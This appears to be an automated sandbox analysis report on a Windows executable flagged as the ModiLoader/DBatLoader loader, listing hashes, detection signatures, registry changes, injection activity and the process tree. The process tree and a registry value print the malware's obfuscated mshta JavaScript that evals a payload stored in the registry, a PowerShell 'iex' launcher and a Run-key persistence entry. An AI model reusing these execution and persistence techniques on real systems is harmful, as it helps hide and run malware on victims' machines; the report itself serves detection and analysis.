Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
19-05-2024 12:37
Static task
static1
Behavioral task
behavioral1
Sample
5a0ff9ac2b1f64038aaeb077e4c7daca_JaffaCakes118.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
5a0ff9ac2b1f64038aaeb077e4c7daca_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
5a0ff9ac2b1f64038aaeb077e4c7daca_JaffaCakes118.exe
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Size
389KB
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MD5
5a0ff9ac2b1f64038aaeb077e4c7daca
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SHA1
39d389ac45a1f2736d8b5958005c506ddeb9dc7b
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SHA256
ed995d2142c3bf0e319996e4608c6f3a2fe9573d34b29dbbc2ed1e6bc9b27245
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SHA512
7b16d5df1a860908b0ac0fbcfa59601eab8771d6afbec2eba8126fd1253f627b918ab0bdbc3b92f92b3812d1b205d82463edf263319224fd9ce36785944460ec
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SSDEEP
12288:hY2ogHxQhEEL/xdbe2Xjnh1vuyTWnlxc3ouxsxj:vpHxQOYDzTTuyLouxKj
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2088 1720 mshta.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 57 IoCs
Processes:
resource yara_rule behavioral1/memory/2880-0-0x0000000000400000-0x000000000046A120-memory.dmp modiloader_stage2 behavioral1/memory/2880-2-0x0000000001E70000-0x0000000001F4C000-memory.dmp modiloader_stage2 behavioral1/memory/2880-4-0x0000000001E70000-0x0000000001F4C000-memory.dmp modiloader_stage2 behavioral1/memory/2880-7-0x0000000000400000-0x000000000046A120-memory.dmp modiloader_stage2 behavioral1/memory/2880-3-0x0000000001E70000-0x0000000001F4C000-memory.dmp modiloader_stage2 behavioral1/memory/2880-6-0x0000000001E70000-0x0000000001F4C000-memory.dmp modiloader_stage2 behavioral1/memory/2880-5-0x0000000001E70000-0x0000000001F4C000-memory.dmp modiloader_stage2 behavioral1/memory/2880-8-0x0000000001E70000-0x0000000001F4C000-memory.dmp modiloader_stage2 behavioral1/memory/2880-9-0x0000000001E70000-0x0000000001F4C000-memory.dmp modiloader_stage2 behavioral1/memory/2740-14-0x0000000005850000-0x000000000592C000-memory.dmp modiloader_stage2 behavioral1/memory/2724-15-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-18-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2740-17-0x0000000005850000-0x000000000592C000-memory.dmp modiloader_stage2 behavioral1/memory/2724-20-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-34-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-46-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-52-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-51-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-50-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-49-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-48-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-47-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-41-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-40-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-39-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2880-53-0x0000000001E70000-0x0000000001F4C000-memory.dmp modiloader_stage2 behavioral1/memory/2724-38-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-37-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-35-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-33-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-32-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-31-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-30-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-29-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-27-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-26-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-25-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-24-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-23-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-36-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-21-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-19-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-28-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/2724-22-0x00000000001F0000-0x000000000033A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-63-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-73-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-71-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-69-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-67-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-66-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-64-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-72-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-70-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-68-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-65-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-62-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 behavioral1/memory/1188-61-0x00000000001E0000-0x000000000032A000-memory.dmp modiloader_stage2 -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2724 regsvr32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d866a3c3\\2abf568c.bat\"" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.exeregsvr32.exedescription pid process target process PID 2740 set thread context of 2724 2740 powershell.exe regsvr32.exe PID 2724 set thread context of 1188 2724 regsvr32.exe regsvr32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Processes:
regsvr32.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry class 7 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:LmGQ9fzR7=\"a\";p0P=new ActiveXObject(\"WScript.Shell\");Iaov2v1v=\"x6Wf5nk\";cebd8=p0P.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");Gbp5k5=\"xN8\";eval(cebd8);q4QgrSc7j=\"tEGn69Lm\";\"" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.5ad3c886b regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.5ad3c886b\ = "a3267dda" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda\shell regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda\shell\open regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda\shell\open\command regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeregsvr32.exepid process 2740 powershell.exe 2740 powershell.exe 2740 powershell.exe 2740 powershell.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe 2724 regsvr32.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
powershell.exeregsvr32.exepid process 2740 powershell.exe 2724 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2740 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
mshta.exepowershell.exeregsvr32.exedescription pid process target process PID 2088 wrote to memory of 2740 2088 mshta.exe powershell.exe PID 2088 wrote to memory of 2740 2088 mshta.exe powershell.exe PID 2088 wrote to memory of 2740 2088 mshta.exe powershell.exe PID 2088 wrote to memory of 2740 2088 mshta.exe powershell.exe PID 2740 wrote to memory of 2724 2740 powershell.exe regsvr32.exe PID 2740 wrote to memory of 2724 2740 powershell.exe regsvr32.exe PID 2740 wrote to memory of 2724 2740 powershell.exe regsvr32.exe PID 2740 wrote to memory of 2724 2740 powershell.exe regsvr32.exe PID 2740 wrote to memory of 2724 2740 powershell.exe regsvr32.exe PID 2740 wrote to memory of 2724 2740 powershell.exe regsvr32.exe PID 2740 wrote to memory of 2724 2740 powershell.exe regsvr32.exe PID 2740 wrote to memory of 2724 2740 powershell.exe regsvr32.exe PID 2724 wrote to memory of 1188 2724 regsvr32.exe regsvr32.exe PID 2724 wrote to memory of 1188 2724 regsvr32.exe regsvr32.exe PID 2724 wrote to memory of 1188 2724 regsvr32.exe regsvr32.exe PID 2724 wrote to memory of 1188 2724 regsvr32.exe regsvr32.exe PID 2724 wrote to memory of 1188 2724 regsvr32.exe regsvr32.exe PID 2724 wrote to memory of 1188 2724 regsvr32.exe regsvr32.exe PID 2724 wrote to memory of 1188 2724 regsvr32.exe regsvr32.exe PID 2724 wrote to memory of 1188 2724 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5a0ff9ac2b1f64038aaeb077e4c7daca_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\5a0ff9ac2b1f64038aaeb077e4c7daca_JaffaCakes118.exe"1⤵PID:2880
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:ac7QNa="mbpM";eB4=new%20ActiveXObject("WScript.Shell");rrTCA0jC="JEjpW";YL8Um=eB4.RegRead("HKCU\\software\\9PjE8PL\\QyQMLU3");Y4tqvfSf="trn4XVG";eval(YL8Um);vwq13z="jsN";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:htwmel2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:1188
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD59292c1258bebaefe45fcd0bba0b474d4
SHA1c703ab62cf1a76f2f4cdef77da92362821474815
SHA25625c6ac471aa82e0e2e005201b5a84231ead3576db075ffe8ad56b406ff650a04
SHA5129fd8ac61a8088ce03fb81c84acb255338b13af14be241f8738fb433594a99685b0a8f3f94e077a548a8fb605d913cda577f930970bb622c538725d4a658a36fa
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Filesize
77B
MD5b11ccc7015a42d2d7fe4368165fcd908
SHA168018e8defe90e940a00f8b752c3d854a2a81268
SHA256c4a5e8d37523bb40e2631787e371e29bae0305d2d1022d119fbe6226361464ff
SHA512e7194d23edca8dbcbaed1138a04b9739bbe094ce577f941989cbe3b420f764048c95bcff8c7b677b131c47bb421f9092752a5ee9d3f9bcf62f9d5b357099edbf